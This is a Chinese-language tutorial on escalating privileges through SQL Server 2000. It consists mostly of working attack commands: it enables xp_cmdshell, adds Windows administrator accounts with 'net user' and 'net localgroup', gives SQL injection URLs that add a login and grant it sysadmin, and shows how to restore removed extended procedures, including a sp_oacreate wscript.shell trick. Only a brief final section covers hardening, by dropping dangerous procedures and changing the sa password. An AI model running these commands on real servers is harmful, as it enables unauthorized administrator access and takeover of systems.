SQL Server 2000提权
SQLServer 2000提权有多个方法,通过SQL Tools查询工具进行提权,通过SQL查询分析器进行提权,通过SQL注入点进行手工提权,通过Pangolin等SQL注入工具进行提权,在本文中主要介绍通过查询方法来进行提权。进行提权的前提条件是当前使用的数据库账号是sysadmin权限,换句话说相当于sa权限。
1.1SQL版本号查询
在针对MSSQL进行提权时需要了解SQL的版本号,其版本可以通过查询获取,也可以通过本地查看MSSQL程序获取。
1.通过查询分析器查询获取
在查询分析器中执行以下任意一个语句即可:
select serverproperty('productversion'),serverproperty('productlevel') ,serverproperty('edition');
select @@version;
2.各个版本对应信息
(1)SQLServer 2000 版本号查询结果
SQLServer 2000 版本号 SQL Server 2000 版本描述
2000.80.194.0RTM (Release to Manufacturing)
2000.80.384.0SQL Server 2000 SP1
2000.80.534.0SQL Server 2000 SP2
2000.80.760.0SQL Server 2000 SP3/SP3a
2000.8.00.2039SQL Server 2000 SP4
(2)SQLServer 2005 版本号查询结果信息
SQLServer 2005 版本号 SQL Server 2005 版本描述
2005.90.1399RTM (Release to Manufacturing)
2005.90.2047SQL Server 2005 SP1
2005.90.3042SQL Server 2005 SP2
2005.90.4035SQL Server 2005 SP3
2005.90.5000SQL Server 2005 SP4
(3)SQLServer 2008 版本号查询结果信息
SQLServer 2008版本号 SQL Server 2008 版本描述
10.0.1600.22RTM
10.00.2531.00SQL Server 2008 SP1
10.00.4000.00SQL Server 2008 SP2
10.50.1600.1SQL Server 2008 R2 (RTM)
1.2通过查询分析获取管理员权限
1.配置xp_cmdshell可用
usemaster
EXECsp_configure 'show advanced options', 1
GO
RECONFIGURE
GO
EXECsp_configure 'xp_cmdshell', 1
GO
RECONFIGURE
GO
2.测试xp_cmdshell是否可执行
测试是否有xp_cmdshell的权限,如果列出数据,说明有权限,反之,则表示不能执行,说明系统进行过SQL Server加固。
execxp_cmdshell 'dir c:'
Go
3.添加Windows管理员用户
(1)添加antian365用户,密码为antian365
EXECxp_cmdshell 'net user antian365 antian365 /add';
(2)将antian365添加到管理员组
EXECxp_cmdshell 'net localgroup administrators antian365 /add';
(3)查看当前管理员组
EXECxp_cmdshell 'net localgroup administrators ';
1.3通过手工注入点获取管理员权限
(1)添加用户
http://antian365.com/default.asp?id=1;usemaster;exec dbo.sp_addlogin user;
回车后执行,浏览器自动补上了空格,页面依然正常显示,20%代表空格符的。添加了一个user用户,密码现在为空。
(2)修改user密码
如果要改密码,可以这样:dbo.password null,password,user;
dbo.password是修改用密码的存储过程,null是旧密码,password是新密码,user自然就是用户名了。而在我们这个测试中也就是这样子的:
http://antian365.com/default.asp?id=1;usemaster;exec dbo.password null,password,user;
(3)将user权限提升为sa
SQL Server有八种固定服务器角色:数据库创建者(DBCREATOR)、磁盘管理员(DISKADMIN)、进程管理员(PROCESSADMIN)、安全管理员(SECURITYADMIN)、服务器管理员(SEVERADMIN)、安装管理员(SETUPADMIN)、系统管理员(SYSADMIN)、大容量管理员(BULKADMIN)。最高权限管理员是系统管理员(SYSADMIN),默认情况下sa也是系统管理员。dbo.sp_addsrvrolemember是为固定服务器角色分配登录帐户的存储过程。
http://antian365.com/default.asp?id=1;usemaster;exec dbo.sp_addsrvrolemember user,sysadmin;
(4)添加用户并提升至管理员权限
http://antian365.com/default.asp?id=1;usemaster;exec dbo.xp_cmdshell 'net userantian365 temp /add';
http://antian365.com/default.asp?id=1;usemaster;exec dbo.xp_cmdshell 'net localgroup administrators antian365 /add';
1.4恢复存储过程
(1)删除和恢复sp_addextendedproc语句
删除sp_addextendedproc
dropprocedure sp_addextendedproc
dropprocedure sp_oacreate
execsp_dropextendedproc 'xp_cmdshell'
恢复sp_addextendedproc
dbccaddextendedproc ("sp_oacreate","odsole70.dll")
dbccaddextendedproc ("xp_cmdshell","xplog70.dll")
(2)恢复sp_oacreate和xp_cmdshell
dbccaddextendedproc ("sp_oacreate","odsole70.dll")
dbccaddextendedproc ("xp_cmdshell","xplog70.dll")
或者exec sp_addextendedprocxp_cmdshell ,@dllname ='xplog70.dll'
(3)未能找到存储过程'master..xpcmdshell'之解决方法:
EXECsp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o intsp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
(4)无法装载DLLxpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块)
sp_dropextendedproc"xp_cmdshell"
sp_addextendedproc'xp_cmdshell', 'xpsql70.dll'
(5)无法在库xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序)
execsp_dropextendedproc 'xp_cmdshell'
execsp_addextendedproc 'xp_cmdshell','xpweb70.dll'
(6)删除和恢复odsole70.dll
删除odsole70.dll:
execmaster..sp_dropextendedproc sp_oamethod
execmaster..sp_dropextendedproc sp_oacreate
恢复odsole70.dll:
execsp_addextendedproc sp_OAMethod,'odsole70.dll'
execsp_addextendedproc sp_OACreate,'odsole70.dll'
(7)直接添加帐户命令
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe/c net user 用户名 密码/add'
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'
(8)恢复时一些常用的SQL语句:
dbccaddextendedproc ("sp_oacreate","odsole70.dll")
dbccaddextendedproc ("xp_cmdshell","xplog70.dll")
usemaster
execsp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
execsp_addextendedproc xp_dirtree,'xpstar.dll'
execsp_addextendedproc xp_enumgroups,'xplog70.dll'
execsp_addextendedproc xp_fixeddrives,'xpstar.dll'
execsp_addextendedproc xp_loginconfig,'xplog70.dll'
execsp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
execsp_addextendedproc xp_getfiledetails,'xpstar.dll'
execsp_addextendedproc sp_OACreate,'odsole70.dll'
execsp_addextendedproc sp_OADestroy,'odsole70.dll'
execsp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
execsp_addextendedproc sp_OAGetProperty,'odsole70.dll'
execsp_addextendedproc sp_OAMethod,'odsole70.dll'
execsp_addextendedproc sp_OASetProperty,'odsole70.dll'
execsp_addextendedproc sp_OAStop,'odsole70.dll'
execsp_addextendedproc xp_regaddmultistring,'xpstar.dll'
execsp_addextendedproc xp_regdeletekey,'xpstar.dll'
execsp_addextendedproc xp_regdeletevalue,'xpstar.dll'
execsp_addextendedproc xp_regenumvalues,'xpstar.dll'
execsp_addextendedproc xp_regread,'xpstar.dll'
execsp_addextendedproc xp_regremovemultistring,'xpstar.dll'
execsp_addextendedproc xp_regwrite,'xpstar.dll'
execsp_addextendedproc xp_availablemedia,'xpstar.dll'
(9)恢复xp_cmdshell
execmaster.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) frommaster.dbo.sysobjectswhere xtype='x' and name='xp_cmdshell'
1.5SQL server提权防范方法
(1)删除所有危险扩展:
DROPPROCEDURE sp_makewebtask
execmaster..sp_dropextendedproc xp_cmdshell
execmaster..sp_dropextendedproc xp_dirtree
execmaster..sp_dropextendedproc xp_fileexist
execmaster..sp_dropextendedproc xp_terminate_process
execmaster..sp_dropextendedproc sp_oamethod
execmaster..sp_dropextendedproc sp_oacreate
execmaster..sp_dropextendedproc xp_regaddmultistring
execmaster..sp_dropextendedproc xp_regdeletekey
execmaster..sp_dropextendedproc xp_regdeletevalue
execmaster..sp_dropextendedproc xp_regenumkeys
execmaster..sp_dropextendedproc xp_regenumvalues
execmaster..sp_dropextendedproc sp_add_job
execmaster..sp_dropextendedproc sp_addtask
execmaster..sp_dropextendedproc xp_regread
execmaster..sp_dropextendedproc xp_regwrite
execmaster..sp_dropextendedproc xp_readwebtask
execmaster..sp_dropextendedproc xp_makewebtask
execmaster..sp_dropextendedproc xp_regremovemultistring
execmaster..sp_dropextendedproc sp_OACreate
DROPPROCEDURE sp_addextendedproc
(2)修补sa弱口令
execsp_password NULL,'新密码','sa'
(3)加强服务器配置和设置安全